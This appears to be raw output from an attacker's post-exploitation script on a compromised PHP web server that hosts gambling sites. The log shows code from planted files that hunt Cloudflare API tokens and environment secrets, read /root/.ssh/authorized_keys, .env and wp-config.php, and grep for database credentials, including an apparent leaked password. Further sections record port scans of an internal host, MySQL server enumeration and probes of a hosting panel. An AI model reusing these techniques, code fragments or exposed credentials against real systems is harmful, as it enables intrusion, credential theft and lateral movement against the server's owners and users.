ZZI24237D BEGIN ##### CF TOKEN SIGNATURE (precise) ##### CFSIG /marketWnC7rCEh/sosmed/zzmd24253.php :: alse?'':pv($fg)."\n"); echo "\n===== ENV ====="; foreach(array('DO_DROPLET_ID','CF_API_TOKEN','CLOUDFLARE_API_TOKEN','CLOUDFLARE_API_KEY','CF_API_KEY','API_TOKEN','TOKEN','SSH_AUTH_SOCK','HOME','USER' CFSIG /marketWnC7rCEh/sosmed/zzmd24253.php :: ."\n"); echo "\n===== ENV ====="; foreach(array('DO_DROPLET_ID','CF_API_TOKEN','CLOUDFLARE_API_TOKEN','CLOUDFLARE_API_KEY','CF_API_KEY','API_TOKEN','TOKEN','SSH_AUTH_SOCK','HOME','USER','HOSTNAME') as CFSIG /marketWnC7rCEh/sosmed/zzmd24253.php :: NV ====="; foreach(array('DO_DROPLET_ID','CF_API_TOKEN','CLOUDFLARE_API_TOKEN','CLOUDFLARE_API_KEY','CF_API_KEY','API_TOKEN','TOKEN','SSH_AUTH_SOCK','HOME','USER','HOSTNAME') as $k){ $v=@getenv($k); e CFSIG /rtp/slot/zzi237p_3171019242.php :: echo "\n"; $ROOT='/www/wwwroot/167.172.95.167'; $CF='/cloudflare|cf_api|cfapi|X-Auth-Key|X-Auth-Email|api_token|apiToken|zone_id|zoneid|zoneId|dns_records|cloudflared|CF_API_TOKEN|CLOUDFLARE/i'; ec CFSIG /rtp/slot/zzi237p_3171019242.php :: $ROOT='/www/wwwroot/167.172.95.167'; $CF='/cloudflare|cf_api|cfapi|X-Auth-Key|X-Auth-Email|api_token|apiToken|zone_id|zoneid|zoneId|dns_records|cloudflared|CF_API_TOKEN|CLOUDFLARE/i'; echo "\n##### CFSIG /rtp/slot/zzi237p_3171019242.php :: pi|X-Auth-Key|X-Auth-Email|api_token|apiToken|zone_id|zoneid|zoneId|dns_records|cloudflared|CF_API_TOKEN|CLOUDFLARE/i'; echo "\n##### TMP TREE (depth<=2) #####\n"; $n=0; try{ $it=new RecursiveItera CFSIG /rtp/slot/zzi237p_3171019242.php :: y|X-Auth-Email|api_token|apiToken|zone_id|zoneid|zoneId|dns_records|cloudflared|CF_API_TOKEN|CLOUDFLARE/i'; echo "\n##### TMP TREE (depth<=2) #####\n"; $n=0; try{ $it=new RecursiveIteratorIterator( CFSIG /rtp/slot/zzi237s_3171019242.php :: CF TOKEN SIGNATURE (precise) #####\n"; $kw1='/api\.cloudflare\.com\/client\/v4|X-Auth-Email|X-Auth-Key|CLOUDFLARE_API|CF_API_TOKEN|cloudflared|dns_records\?|zones\?name=/i'; $h=0;$sc=0; try{ $it=ne CFSIG /rtp/slot/zzi237s_3171019242.php :: NATURE (precise) #####\n"; $kw1='/api\.cloudflare\.com\/client\/v4|X-Auth-Email|X-Auth-Key|CLOUDFLARE_API|CF_API_TOKEN|cloudflared|dns_records\?|zones\?name=/i'; $h=0;$sc=0; try{ $it=new RecursiveIt CFSIG /rtp/slot/zzi237s_3171019242.php :: cise) #####\n"; $kw1='/api\.cloudflare\.com\/client\/v4|X-Auth-Email|X-Auth-Key|CLOUDFLARE_API|CF_API_TOKEN|cloudflared|dns_records\?|zones\?name=/i'; $h=0;$sc=0; try{ $it=new RecursiveIteratorItera CFSIG /rtp/slot/zzi237s_3171019242.php :: $kw1='/api\.cloudflare\.com\/client\/v4|X-Auth-Email|X-Auth-Key|CLOUDFLARE_API|CF_API_TOKEN|cloudflared|dns_records\?|zones\?name=/i'; $h=0;$sc=0; try{ $it=new RecursiveIteratorIterator(new Recursi CFSIG /rtp/slot/zzi237s_3171019242.php :: cloudflare\.com\/client\/v4|X-Auth-Email|X-Auth-Key|CLOUDFLARE_API|CF_API_TOKEN|cloudflared|dns_records\?|zones\?name=/i'; $h=0;$sc=0; try{ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIt cf_scanned=1623 cf_sig_hits=12 ##### CREDENTIAL / DB CONNECT GREP (php/sh) ##### CRED /landing/config.php :: CRED /login-visa4d/config.php :: CRED /login-bbm4d/config.php :: CRED /login-dek4d/config.php :: CRED /login-wg4d/config.php :: CRED /marketWnC7rCEh/bwg/footer_blp.php :: one_set('Asia/Jakarta'); ?> getPathname()); if($cc===false) continue; if(preg_match_all('/multiweb|dbip|dbpass|money_db|10\.182\.0\.55/i',$cc,$m,PREG_OFFSET_CAPTURE)){ foreach($m[0] as $h){ if($n>=40) break 2; $off=$ BR /marketWnC7rCEh/sosmed/zzsc24127b_091f2567.php :: ($f->getPathname()); if($cc===false) continue; if(preg_match_all('/multiweb|dbip|dbpass|money_db|10\.182\.0\.55/i',$cc,$m,PREG_OFFSET_CAPTURE)){ foreach($m[0] as $h){ if($n>=40) break 2; $off=$h[1]; $line=substr($c BR /rtp/slot/zzobi_22cee67f3539.php :: ###\n"; $kw='/wg4d|wg4dkicau|money|mysql|3306|password|passwd|pwd|secret|token|admintoken|admin_ip|ssh|ftp|167\.172|10\.182|database|sqlite|user/i'; foreach(array('/www/server/panel/data/default.db','/www/server/panel/co BR /rtp/slot/zzrd_bf3e3e6e.php :: www/server/mysql/my.cnf', '/etc/my.cnf', '/etc/hosts', '/root/.ssh/authorized_keys', '/home/wg4d/public_html/wp-config.php', '/home/wg4d/public_html/.env', '/home/wg4d/public_html/connectDB.php', '/tmp/ap_file_bk. BR /rtp/slot/zzrd_bf3e3e6e.php :: '/etc/hosts', '/root/.ssh/authorized_keys', '/home/wg4d/public_html/wp-config.php', '/home/wg4d/public_html/.env', '/home/wg4d/public_html/connectDB.php', '/tmp/ap_file_bk.conf' ); foreach ($files as $f) { ech BR /rtp/slot/zzrd_bf3e3e6e.php :: horized_keys', '/home/wg4d/public_html/wp-config.php', '/home/wg4d/public_html/.env', '/home/wg4d/public_html/connectDB.php', '/tmp/ap_file_bk.conf' ); foreach ($files as $f) { echo "== T $f ==\n"; $r = @file BR /rtp/slot/zzrd_bf3e3e6e.php :: -site credentials in panel config + vhost area, read-only */ $hits = 0; $needles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (arra BR /rtp/slot/zzrd_bf3e3e6e.php :: als in panel config + vhost area, read-only */ $hits = 0; $needles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (array('/www/server BR /rtp/slot/zzrd_bf3e3e6e.php :: fig + vhost area, read-only */ $hits = 0; $needles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (array('/www/server/panel/config/co BR /rtp/slot/zzrd_bf3e3e6e.php :: area, read-only */ $hits = 0; $needles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (array('/www/server/panel/config/config.json', BR /rtp/slot/zzrd_bf3e3e6e.php :: / $hits = 0; $needles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (array('/www/server/panel/config/config.json', '/www/server/pane BR /rtp/slot/zzrd_bf3e3e6e.php :: eedles = array('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (array('/www/server/panel/config/config.json', '/www/server/panel/data/default. BR /rtp/slot/zzrd_bf3e3e6e.php :: ay('money_user', 'AlunaRyvia88', 'money_db', 'wg4dkicau.com', '10.182.0.55', 'admin_ip', 'temp_password', 'admintoken'); foreach (array('/www/server/panel/config/config.json', '/www/server/panel/data/default.pl', '/www/s BR /rtp/slot/zzn_01678a7c.php :: lse; $r['errno'] = $en; $r['err'] = $es; } return $r; } $targets = array( array('10.182.0.55', 80), array('10.182.0.55', 443), array('10.182.0.55', 3306), array('10.182.0.55', 22), array('10.182. BR /rtp/slot/zzn_01678a7c.php :: r'] = $es; } return $r; } $targets = array( array('10.182.0.55', 80), array('10.182.0.55', 443), array('10.182.0.55', 3306), array('10.182.0.55', 22), array('10.182.0.55', 2083), array('10.18 BR /rtp/slot/zzn_01678a7c.php :: $targets = array( array('10.182.0.55', 80), array('10.182.0.55', 443), array('10.182.0.55', 3306), array('10.182.0.55', 22), array('10.182.0.55', 2083), array('10.182.0.55', 2087), /* baseline BR /rtp/slot/zzn_01678a7c.php :: 182.0.55', 80), array('10.182.0.55', 443), array('10.182.0.55', 3306), array('10.182.0.55', 22), array('10.182.0.55', 2083), array('10.182.0.55', 2087), /* baseline: www's Cloudflare edge ip, prov BR /rtp/slot/zzn_01678a7c.php :: 182.0.55', 443), array('10.182.0.55', 3306), array('10.182.0.55', 22), array('10.182.0.55', 2083), array('10.182.0.55', 2087), /* baseline: www's Cloudflare edge ip, proves outbound egress works at al BR /rtp/slot/zzn_01678a7c.php :: 82.0.55', 3306), array('10.182.0.55', 22), array('10.182.0.55', 2083), array('10.182.0.55', 2087), /* baseline: www's Cloudflare edge ip, proves outbound egress works at all */ array('104.21.87.150', br_scanned=768 bridge_hits=25 ##### MYSQL SERVER INTEL ##### MYQ [SELECT @@hostname] => singapore-webuzo-4gb MYQ [SELECT @@version_compile_os] => Linux MYQ [SELECT @@version_compile_machine] => x86_64 MYQ [SELECT @@basedir] => /www/server/mysql/ MYQ [SELECT @@innodb_data_home_dir] => /www/server/data MYQ [SELECT @@general_log] => 0 MYQ [SELECT @@log_error] => ./singapore-webuzo-4gb.err MYQ [SELECT @@skip_name_resolve] => 0 MYQ [SELECT @@local_infile] => 1 MYQ [SELECT @@max_connections] => 500 MYQ [SHOW PROCESSLIST] => 1871481 | marketing_bwg | localhost | marketing_bwg | Query | 0 | starting | SHOW PROCESSLIST MYQ [SELECT COUNT(*) FROM mysql.user] ERR SELECT command denied to user 'marketing_bwg'@'localhost' for table 'user' MYQ [SELECT COUNT(*) FROM information_schema.PROCESSLIST] => 1 MYQ [SELECT user,host FROM information_schema.USER_PRIVILEGES LIMIT 20] ERR Unknown column 'user' in 'field list' ##### PORT 7800 (aaPanel?) DEEP ##### 7800 / => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /login => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /login.php => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /index.php => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /phpmyadmin/ => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /pma/ => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /adminer.php => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /panel => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /bt => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /api => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /static/ => 401 loc= ct=text/html; charset=utf-8 len=317 | 401 Unauthorized

Unauthorized

The server could not v 7800 /favicon.ico => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /robots.txt => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /.well-known/acme-challenge/x => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /site => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /v2 => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /ajax => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 /user/login => 404 loc= ct=text/html len=138 | 404 Not Found

404 Not Found


ng 7800 H=167.172.95.167 / => 404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

404 loc= len=138 | 404 Not Found

404 Not Found

500 | HTTP/1.1 500 Internal Server Error Content-Type: text/plain Connection: close Content-Length: 21 Date: Sun, 08 Nov 2026 03:18:55 GMT Internal Server Error 7800 HEAD / => 500 | HTTP/1.1 500 Internal Server Error Content-Type: text/plain Connection: close Content-Length: 21 Date: Sun, 08 Nov 2026 03:18:55 GMT ##### END #####